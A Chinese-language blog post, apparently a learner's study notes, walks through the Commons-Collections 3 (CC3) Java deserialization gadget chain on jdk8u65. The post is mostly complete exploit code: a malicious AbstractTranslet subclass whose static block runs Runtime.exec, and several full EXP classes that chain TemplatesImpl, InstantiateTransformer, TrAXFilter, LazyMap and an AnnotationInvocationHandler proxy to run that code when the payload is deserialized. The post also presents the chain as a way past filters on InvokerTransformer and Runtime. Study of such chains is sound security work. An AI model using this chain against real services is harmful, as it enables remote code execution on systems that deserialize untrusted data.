环境准备

  • jdk8u65
  • Commons-Collections 3.2.1

分析

最近几周没碰Java感觉又有点生疏了,在CC3中命令执行的方法和1,6不一样,这里用的是动态类加载,使用defineClass->newInstance 来命令执行即在字节里面加载一个类然后实例化执行代码,所以直接从这里入手逆推,还是find usages寻找哪里调用了defineClass,因为它是一个protected所以我们需要一个调用它public方法,最终在TemplatesImpl类的static final class TransletClassLoader下找到defineClass这里没有标注作用域即默认为defalut,也就是自己的类里面可以调用
image-20230603173329428
继续find usages发现defineTransletClasses私有方法里面调用了
image-20230603173354505
这里_bytecodes不能为空不然就不能执行到defineClass方法了,然后继续find usages最终找到了getTransletInstance方法并且这里有个newInstance()实例化的过程,动态执行代码正好需要实例化,所以如果走完这个函数就相当于结束了,但是这个getTransletInstance方法是私有,所以还得继续找,最终找到了newTransformer方法,里面调用了getTransletInstance方法,并且newTransformer方法是public,接下来就是利用了
image-20230603173407614

利用

1
2
TemplatesImpl templates = new TemplatesImpl();  
templates.newTransformer();

上面两行代码其实就是命令执行的代码,但是肯定有很多限制条件让它无法执行,所以接下来就是满足所有条件让它执行,首先是下面的这些条件
image-20230603173436099
_name不能为空,_class必须为空这样才能进入defineTransletClasses()方法,然后跟进这个方法
image-20230603173450789
_bytecodes不能为空,否则抛异常,_tfactory需要调方法所以也需要赋值,然后开始构造EXP

构造EXP

通过反射获取属性,_name的值是String先随便赋一个,_class初始值就为空不用管,然后是_bytecodes是一个二维数组,但是传入defineClass方法的值是一维数组

1
2
3
Class defineClass(final byte[] b) {  
return defineClass(null, b, 0, b.length);
}

而这个一维数组存放的是恶意字节码,也就是命令执行的class文件,所以我们先把这个写完

1
2
3
4
5
6
7
8
9
public class test {  
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

这个也可以放构造函数里面,实例化的时候能加载就行,这部分对于的代码如下

1
2
byte[] code = Files.readAllBytes(Paths.get("E:\\java-tools\\CC链\\CC3\\"));  
byte[][] codes = {code};

这样就完成了二维数组赋值,传给defineClass方法的也是存放恶意字节码的一维数组
image-20230603173507470
循环取值,相当于第一个值就是存放恶意字节码的一维数组,这个_bytecodes赋值就解决了
然后是_tfactory赋值,它的定义如下

1
private transient TransformerFactoryImpl _tfactory = null;

有个transient表示它是个不可序列化的变量,那么我们传值就没有意义了,反序列化的时候就会丢失,最后在readObject中找到它的初始定义

1
_tfactory = new TransformerFactoryImpl();

这里不为空,所以直接反射赋值为TransformerFactoryImpl即可,到这里该满足的条件都满足了,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class CC3 {  
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tclass = templates.getClass();
Field nameField = tclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

Field bytecodes = tclass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

Field tfactory = tclass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

templates.newTransformer();
}
}

但是到这里报了空指针错误
image-20230603173521394
本来想调试一下,但是发现环境好像有点问题不能在这个类下调试,直接去422看报错也行,
在418行会判断恶意类是否继承了ABSTRACT_TRANSLET这个类否则报错,即com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

1
if (superClass.getName().equals(ABSTRACT_TRANSLET))

或者我们给_auxClasses赋值让它不为空,但是这样_transletIndex为-1会在下面的判断直接跳出程序,这个方法就不可取,所以直接让恶意类继承AbstractTranslet类,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class test extends AbstractTranslet{  
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

执行代码弹出成功
image-20230603173533124

CC1 的TemplatesImpl的实现方式

由于上面的部分我们只是更改的最后命令执行的方法,前面的链子仍然没有变,所以这里和CC1的前半段结合一下,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class CC3 {  
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tclass = templates.getClass();
Field nameField = tclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

Field bytecodes = tclass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

Field tfactory = tclass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();

Transformer[] transformers= new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);
//最后这里赋值是因为new ConstantTransformer(templates)这里定义的类需要一个参数
}
}

image-20230603173548540
然后把CC1后面的全部拿过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public class CC3 {  
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tclass = templates.getClass();
Field nameField = tclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

Field bytecodes = tclass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

Field tfactory = tclass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();

Transformer[] transformers= new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);

HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object,Object> decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(new Class[]{Class.class, Map.class});
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);


invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
//InvocationHandler解决proxyMap不能序列化,然后通过构造方法将代理对象proxyMap赋值给memberValues

//序列化与反序列化
// serialize(invocationHandler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

成功弹出计算器
image-20230603173603684
目前的流程图如下
image-20230603173633352
CC6和这个也差不多的也能通

继续分析CC3

现在我们已经找到了命令执行的类和方法也就是TemplatesImpl.newTransformer()前面是和CC1的前半部分链起来的相当于如果过滤了Runtime.exec()那就可以换种方法来执行代码,如果过滤了InvokerTransform.transform呢?也是有别的链来到命令执行的,这就是CC3,所以我们继续使用find usages往前找,最终找到了TrAXFilter这个类
image-20230603173655608
这个类也是不能序列化的没办法传参(其实这里有点不太明白不能传参意味着什么),那么只能从构造方法入手

1
_transformer = (TransformerImpl) templates.newTransformer();

可以看到只要执行了构造方法就能到newTransformer()命令执行,在这里CC3作者调用了一个新的类InstantiateTransformer我们去看一下它的transform方法
image-20230603173706325
这样就刚刚好符合需求然后构造EXP

CC3 EXP

通过InstantiateTransformer来调用TrAXFilter类的构造方法解决如下

1
2
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});  
instantiateTransformer.transform(TrAXFilter.class);

测试成功,然后使用CC1的前半部分去调transform方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tclass = templates.getClass();
Field nameField = tclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

Field bytecodes = tclass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

Field tfactory = tclass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);

HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object,Object> decorateMap = LazyMap.decorate(hashMap, instantiateTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(new Class[]{Class.class, Map.class});
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
//InvocationHandler解决proxyMap不能序列化,然后通过构造方法将代理对象proxyMap赋值给memberValues

//序列化与反序列化
// serialize(invocationHandler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

但是发现在反序列化的时候报错,这里还是CC1的setValue() 的传参无法控制,需要引入 TransformerChainedTransformer 辅助,改了后的EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tclass = templates.getClass();
Field nameField = tclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

Field bytecodes = tclass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

Field tfactory = tclass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

Transformer[] transformers= new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object,Object> decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(new Class[]{Class.class, Map.class});
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);


invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
//InvocationHandler解决proxyMap不能序列化,然后通过构造方法将代理对象proxyMap赋值给memberValues

//序列化与反序列化
// serialize(invocationHandler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

image-20230603173731054
链子结束。跟完发现自己对于CC1的理解还是不够透彻,得去复习一下了,CC链这一块还是很重要,对于后续其它的链学习算是打下基础

流程图

image-20230603173740854
这条链子就相当于给了命令执行的另一种方法,如果InvokerTransformRuntime被办了就可以用这一条来绕过